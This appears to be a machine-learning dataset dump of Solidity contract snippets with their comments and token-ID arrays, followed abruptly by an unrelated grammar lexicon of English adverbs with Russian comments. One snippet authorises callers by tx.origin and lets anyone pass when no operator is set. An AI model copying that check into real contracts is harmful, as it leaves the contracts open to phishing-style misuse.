-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0x182Baf9C861C04c12f7ea974397f23F909AA9520/sources/contracts/market.sol | * Network: Polygon Testnet (Mumbai) Aggregator: MATIC/USD Address: 0xd0D5e3DB44DE05E9F294BB0a3bEEaF030DE24Ada/ | constructor() {
priceFeed = AggregatorV3Interface(0xd0D5e3DB44DE05E9F294BB0a3bEEaF030DE24Ada);
}
| 9,504,140 | [
1,
3906,
30,
12681,
7766,
2758,
261,
49,
3592,
10658,
13,
10594,
639,
30,
490,
11781,
19,
3378,
40,
5267,
30,
374,
7669,
20,
40,
25,
73,
23,
2290,
6334,
1639,
6260,
41,
29,
42,
5540,
24,
9676,
20,
69,
23,
70,
9383,
69,
42,
4630,
20,
1639,
3247,
1871,
69,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
3885,
1435,
288,
203,
3639,
6205,
8141,
273,
10594,
639,
58,
23,
1358,
12,
20,
7669,
20,
40,
25,
73,
23,
2290,
6334,
1639,
6260,
41,
29,
42,
5540,
24,
9676,
20,
69,
23,
70,
9383,
69,
42,
4630,
20,
1639,
3247,
1871,
69,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interfaces/IOperatorManager.sol";
import "hardhat/console.sol";
contract MutableOperatorManager is IOperatorManager, Ownable {
address public op;
string public endpoint;
constructor(address _addr, string memory _endpoint) {
op = _addr;
endpoint = _endpoint;
}
// --------========< Maintenance Routines >========--------
function setOperator(address _addr, string memory _endpoint) external onlyOwner {
op = _addr;
endpoint = _endpoint;
}
// --------========< Protocol Methods >========--------
function is_operator() external view override returns(bool) {
return (op == address(0) || op == tx.origin);
}
function operator() external view override returns(address) {
return op;
}
// --------========< Public Informational Routines >========--------
// Get the current relayer's URI
function operatorURI() external view returns(string memory) {
return (op != address(0) ? endpoint : "");
}
} | Get the current relayer's URI | function operatorURI() external view returns(string memory) {
return (op != address(0) ? endpoint : "");
}
| 6,477,971 | [
1,
967,
326,
783,
1279,
1773,
1807,
3699,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
3726,
3098,
1435,
3903,
1476,
1135,
12,
1080,
3778,
13,
288,
203,
3639,
327,
261,
556,
480,
1758,
12,
20,
13,
692,
2494,
294,
1408,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x0044B4CcecD2b09906a43e27c62645894d69c9c9/sources/ERC721Contract.sol | // Token Approvals // | mapping(uint256 => address) public getApproved;
| 2,726,829 | [
1,
759,
3155,
1716,
685,
4524,
368,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2874,
12,
11890,
5034,
516,
1758,
13,
1071,
336,
31639,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/43114/0xD7987F46b12BA6de411297C40BAD4b802c333FE0/sources/Arcane.sol | JoeV2 for Avax network
| IJoeRouter02 _joeV2Router = IJoeRouter02(0x60aE616a2155Ee3d9A68541Ba4544862310933d4); | 4,549,323 | [
1,
46,
15548,
58,
22,
364,
8789,
651,
2483,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
467,
46,
15548,
8259,
3103,
389,
78,
15548,
58,
22,
8259,
273,
467,
46,
15548,
8259,
3103,
12,
20,
92,
4848,
69,
41,
26,
2313,
69,
5340,
2539,
41,
73,
23,
72,
29,
37,
9470,
6564,
21,
38,
69,
7950,
6334,
5292,
4366,
22267,
3707,
72,
24,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/56/0x6Df6a43Be4B706c45BC028D652829299D932d000/sources/juryProject.sol | admin function to change the limit of weekly votes | function setWeeklyVotesLimit(uint256 count) public whenNotPaused {
require(_msgSender() != address(0), "invalid address");
require(count > 0, "Jury Protocol: number of weekly votes can't be zero.");
require(
hasRole(DEFAULT_ADMIN_ROLE, _msgSender()),
"Jury Protocol: Caller is not a main admin."
);
weeklyVotesLimit = count;
}
| 3,235,568 | [
1,
3666,
445,
358,
2549,
326,
1800,
434,
4860,
715,
19588,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
444,
6630,
715,
29637,
3039,
12,
11890,
5034,
1056,
13,
1071,
1347,
1248,
28590,
288,
203,
3639,
2583,
24899,
3576,
12021,
1435,
480,
1758,
12,
20,
3631,
315,
5387,
1758,
8863,
203,
3639,
2583,
12,
1883,
405,
374,
16,
315,
46,
22498,
4547,
30,
1300,
434,
4860,
715,
19588,
848,
1404,
506,
3634,
1199,
1769,
203,
3639,
2583,
12,
203,
5411,
28335,
12,
5280,
67,
15468,
67,
16256,
16,
389,
3576,
12021,
1435,
3631,
203,
5411,
315,
46,
22498,
4547,
30,
20646,
353,
486,
279,
2774,
3981,
1199,
203,
3639,
11272,
203,
203,
3639,
4860,
715,
29637,
3039,
273,
1056,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// LC->05.11.2015
// наречия, которые моргут употребляться внутри аналитической конструкции
// страдательного залога для простого времени:
// Grachtengordel had not yet been established.
// ^^^
wordentry_set PassiveInnerAdverb0=
{
eng_adverb:yet{}, // Grachtengordel had not yet been established.
eng_adverb:legally{}, // Nobody is legally allowed to stultify himself.
eng_adverb:sorely{}, // I've been sorely tried by these students.
eng_adverb:almost{}, // We're almost finished.
eng_adverb:Artificially{}, // Artificially induced conditions
eng_adverb:Naturally{}, // Naturally grown flowers
eng_adverb:Glacially{}, // Glacially deposited material
eng_adverb:Judicially{}, // Judicially controlled process
eng_adverb:Volcanically{}, // Volcanically created landscape
eng_adverb:Religiously{}, // Religiously inspired art
eng_adverb:Cortically{}, // Cortically induced arousal
eng_adverb:Organically{}, // Organically bound iodine
eng_adverb:Serially{}, // Serially composed music
eng_adverb:Professionally{}, // Professionally trained staff
eng_adverb:Catalytically{}, // Catalytically stabilized combustion of propane
eng_adverb:Democratically{}, // Democratically elected government
eng_adverb:insipidly{}, // insipidly expressed thoughts
eng_adverb:Publicly{}, // Publicly financed schools
eng_adverb:Tritely{}, // Tritely expressed emotions
eng_adverb:Trivially{}, // Trivially motivated requests
eng_adverb:spirally{}, // spirally fluted handles
eng_adverb:murkily{}, // murkily expressed ideas
eng_adverb:Finely{}, // Finely costumed actors
eng_adverb:Linguistically{}, // Linguistically impaired children
eng_adverb:Medically{}, // Medically trained nurses
eng_adverb:Socially{}, // Socially accepted norms
eng_adverb:Highly{}, // Highly paid workers
eng_adverb:Inorganically{}, // Inorganically bound molecules
eng_adverb:Symbolically{}, // Symbolically accepted goals
eng_adverb:Photographically{}, // Photographically recorded scenes
eng_adverb:loosely{}, // The loosely played game
eng_adverb:internally{}, // An internally controlled environment
eng_adverb:barely{}, // A barely furnished room
eng_adverb:freshly{}, // A freshly cleaned floor
eng_adverb:squarely{}, // A squarely cut piece of paper
eng_adverb:feudally{}, // A feudally organized society
eng_adverb:nicely{}, // A nicely painted house
eng_adverb:privately{}, // A privately financed campaign
eng_adverb:dimly{}, // A dimly lit room
eng_adverb:solidly{}, // A solidly built house
eng_adverb:specially{}, // A specially arranged dinner
eng_adverb:heavily{}, // A heavily constructed car
eng_adverb:voluptuously{}, // a voluptuously curved woman
eng_adverb:skimpily{}, // a skimpily dressed woman
eng_adverb:shoddily{}, // a shoddily built house
eng_adverb:shabbily{}, // a shabbily dressed man
eng_adverb:queerly{}, // a queerly inscribed sheet of paper
eng_adverb:fierily{}, // a fierily opinionated book
eng_adverb:thickly{}, // A thickly populated area
eng_adverb:tightly{}, // A tightly packed pub
eng_adverb:piratically{}, // The piratically published edition of his book
eng_adverb:illiberally{}, // His illiberally biased way of thinking
eng_adverb:canonically{}, // The deacon was canonically inducted.
eng_adverb:fascinatingly{}, // Her face became fascinatingly distorted.
eng_adverb:no longer{}, // Technically, the term is no longer used by experts.
eng_adverb:negatively{}, // He was negatively inclined.
eng_adverb:strongly{}, // He was strongly opposed to the government.
eng_adverb:frequently{}, // Nouns are frequently used adjectively.
eng_adverb:adversely{}, // She was adversely affected by the new regulations.
eng_adverb:bureaucratically{}, // It's bureaucratically complicated.
eng_adverb:inequitably{}, // Their father's possessions were inequitably divided among the sons.
eng_adverb:equitably{}, // The inheritance was equitably divided among the sisters.
eng_adverb:airily{}, // This cannot be airily explained to your children.
eng_adverb:magnetically{}, // He was magnetically attracted to her.
eng_adverb:permanently{}, // He is permanently disabled.
eng_adverb:elaborately{}, // It was elaborately spelled out.
eng_adverb:experimentally{}, // This can be experimentally determined.
eng_adverb:locally{}, // It was locally decided.
eng_adverb:sadly{}, // He was sadly neglected.
eng_adverb:mighty{}, // He's mighty tired.
eng_adverb:clearly{}, // They were clearly lost.
eng_adverb:unhappily{}, // They were unhappily married.
eng_adverb:bitterly{}, // He was bitterly disappointed.
eng_adverb:soundly{}, // He was soundly defeated.
eng_adverb:clinically{}, // She is clinically qualified.
eng_adverb:duly{}, // She was duly apprised of the raise.
eng_adverb:randomly{}, // The houses were randomly scattered.
eng_adverb:mainly{}, // He is mainly interested in butterflies.
eng_adverb:doubly{}, // She was doubly rewarded.
eng_adverb:empirically{}, // This can be empirically tested.
eng_adverb:multiply{}, // They were multiply checked for errors.
eng_adverb:grimly{}, // He was grimly satisfied.
eng_adverb:internationally{}, // She is internationally known.
eng_adverb:newly{}, // They are newly married.
eng_adverb:centrally{}, // The theater is centrally located.
eng_adverb:constitutionally{}, // This was constitutionally ruled out.
eng_adverb:axiomatically{}, // This is axiomatically given.
eng_adverb:digitally{}, // The time was digitally displayed.
eng_adverb:federally{}, // It's federally regulated.
eng_adverb:realistically{}, // The figure was realistically painted.
eng_adverb:similarly{}, // He was similarly affected.
eng_adverb:inappropriately{}, // He was inappropriately dressed.
eng_adverb:appropriately{}, // He was appropriately dressed.
eng_adverb:homeostatically{}, // Blood pressure is homeostatically regulated.
eng_adverb:temperamentally{}, // They are temperamentally suited to each other.
eng_adverb:insufficiently{}, // He was insufficiently prepared.
eng_adverb:easily{}, // She was easily confused.
eng_adverb:completely{}, // The apartment was completely furnished.
eng_adverb:intimately{}, // The two phenomena are intimately connected.
eng_adverb:closely{}, // He was closely involved in monitoring daily progress.
eng_adverb:symmetrically{}, // They were symmetrically arranged.
eng_adverb:secretly{}, // They were secretly delighted at his embarrassment.
eng_adverb:asymmetrically{}, // They were asymmetrically arranged.
eng_adverb:lightly{}, // Her speech is only lightly accented.
eng_adverb:helpfully{}, // The subtitles are helpfully conveyed.
eng_adverb:superbly{}, // Her voice is superbly disciplined.
eng_adverb:cleverly{}, // They were cleverly arranged.
eng_adverb:formally{}, // The club will be formally recognized.
eng_adverb:popularly{}, // This topic was popularly discussed.
eng_adverb:diffusely{}, // The arteries were diffusely narrowed.
eng_adverb:visibly{}, // The sign was visibly displayed.
eng_adverb:strikingly{}, // This was strikingly demonstrated.
eng_adverb:conveniently{}, // The switch was conveniently located.
eng_adverb:hopelessly{}, // The papers were hopelessly jumbled.
eng_adverb:eagerly{}, // The news was eagerly awaited.
eng_adverb:correctly{}, // The flower had been correctly depicted by his son.
eng_adverb:viciously{}, // He was viciously attacked.
eng_adverb:prominently{}, // The new car was prominently displayed in the driveway.
eng_adverb:unjustly{}, // He was unjustly singled out for punishment.
eng_adverb:rightly{}, // He was rightly considered the greatest singer of his time.
eng_adverb:busily{}, // They were busily engaged in buying souvenirs.
eng_adverb:ornately{}, // The cradle was ornately carved.
eng_adverb:sharply{}, // The new style of Minoan pottery was sharply defined.
eng_adverb:involuntarily{}, // He was involuntarily held against his will.
eng_adverb:ceremonially{}, // He was ceremonially sworn in as President.
eng_adverb:sedulously{}, // This illusion has been sedulously fostered.
eng_adverb:unpleasantly{}, // He had been unpleasantly surprised.
eng_adverb:abundantly{}, // They were abundantly supplied with food.
eng_adverb:absolutely{}, // We are absolutely opposed to the idea.
eng_adverb:entirely{}, // We are entirely satisfied with the meal.
eng_adverb:wholly{}, // He was wholly convinced.
eng_adverb:gradually{}, // The remote areas of the country were gradually built up.
eng_adverb:unattractively{}, // She was unattractively dressed last night.
eng_adverb:artistically{}, // It was artistically decorated.
eng_adverb:partially{}, // He was partially paralyzed.
eng_adverb:imperfectly{}, // The lobe was imperfectly developed.
eng_adverb:badly{}, // The buildings were badly shaken.
eng_adverb:smartly{}, // He was smartly dressed.
eng_adverb:obscurely{}, // This work is obscurely written.
eng_adverb:lawfully{}, // We are lawfully wedded now.
eng_adverb:unlawfully{}, // They were unlawfully married.
eng_adverb:soon{}, // An unwise investor is soon impoverished.
eng_adverb:irretrievably{}, // It is irretrievably lost.
eng_adverb:morphologically{}, // These two plants are morphologically related.
eng_adverb:distinctly{}, // Urbanization in Spain is distinctly correlated with a fall in reproductive rate.
eng_adverb:colloidally{}, // Particles were colloidally dispersed in the medium.
eng_adverb:unchangeably{}, // His views were unchangeably fixed.
eng_adverb:widely{}, // Her work is widely known.
eng_adverb:acutely{}, // The visor was acutely peaked.
eng_adverb:fearfully{}, // They were fearfully attacked.
eng_adverb:directly{}, // These two factors are directly related.
eng_adverb:carefully{}, // The breakout was carefully planned.
eng_adverb:tautly{}, // The rope was tautly stretched.
eng_adverb:temperately{}, // These preferences are temperately stated.
eng_adverb:barbarously{}, // They were barbarously murdered.
eng_adverb:criminally{}, // The garden was criminally neglected.
eng_adverb:becomingly{}, // She was becomingly dressed.
